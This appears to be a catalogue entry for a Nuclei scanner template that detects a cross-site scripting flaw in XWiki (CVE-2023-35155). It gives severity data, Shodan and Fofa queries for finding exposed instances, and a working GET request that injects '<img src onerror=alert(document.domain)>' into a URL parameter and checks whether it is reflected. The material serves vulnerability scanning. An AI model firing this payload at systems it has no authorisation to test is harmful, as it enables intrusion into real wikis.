CVE-2023-35155: XWiki - Cross-Site Scripting
- Template: CVE-2023-35155
- Name: XWiki - Cross-Site Scripting
- Description: XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).
- Impact: Successful exploitation could lead to unauthorized access to sensitive information or account takeover
- Remediation: Apply the latest security patches provided by XWiki to mitigate the vulnerability
- Severity: medium
- Authors: ritikchaddha
- Tags: cve, cve2023, xwiki, xss, vuln
- References: https://jira.xwiki.org/browse/XWIKI-20370, https://nvd.nist.gov/vuln/detail/CVE-2023-35155
- Cves: CVE-2023-35155
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-35155.yaml
- Digest: 4a0a004730450220665457267f29502ab2df2f72e451ceb5679714471364ec852357cfb2fab0cb1e022100f78ecb17275ddf7550bd2978745fa2e44c53733a0347743a26fc02226b7c3cd8
- Created at: 2024-09-04T08:04:02Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 811
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-35155.yaml
- Checked, none or zero: verified
- Not known: max requests
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01496
- Epss percentile: 0.74866
- Cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="data-xwiki-reference"
- Product: xwiki
- Shodan-query: html:"data-xwiki-reference"
- Vendor: xwiki
Products
| Product | Indexed | Url |
|---|---|---|
| xwiki:xwiki | yes | /v1/products/xwiki/xwiki |
Labels
- Name: XWiki Platform - Stored XSS
- Impact: Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
- Remediation: Sanitize user input and implement proper output encoding, update to the latest version with security patches.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to view the malicious page
- Labels source: projectdiscovery
- From cve: CVE-2023-35155
```yaml
id: CVE-2023-35155
info:
name: XWiki - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).
impact: |
Successful exploitation could lead to unauthorized access to sensitive information or account takeover
remediation: |
Apply the latest security patches provided by XWiki to mitigate the vulnerability
reference:
- https://jira.xwiki.org/browse/XWIKI-20370
- https://nvd.nist.gov/vuln/detail/CVE-2023-35155
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-35155
cwe-id: CWE-79
epss-score: 0.01496
epss-percentile: 0.74866
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message={{randstr}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<img src onerror=alert(document.domain)>"
- "Applications</h2>"
- "Navigation</h2"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a004730450220665457267f29502ab2df2f72e451ceb5679714471364ec852357cfb2fab0cb1e022100f78ecb17275ddf7550bd2978745fa2e44c53733a0347743a26fc02226b7c3cd8:922c64590222798bb761d5b6d8e72950
```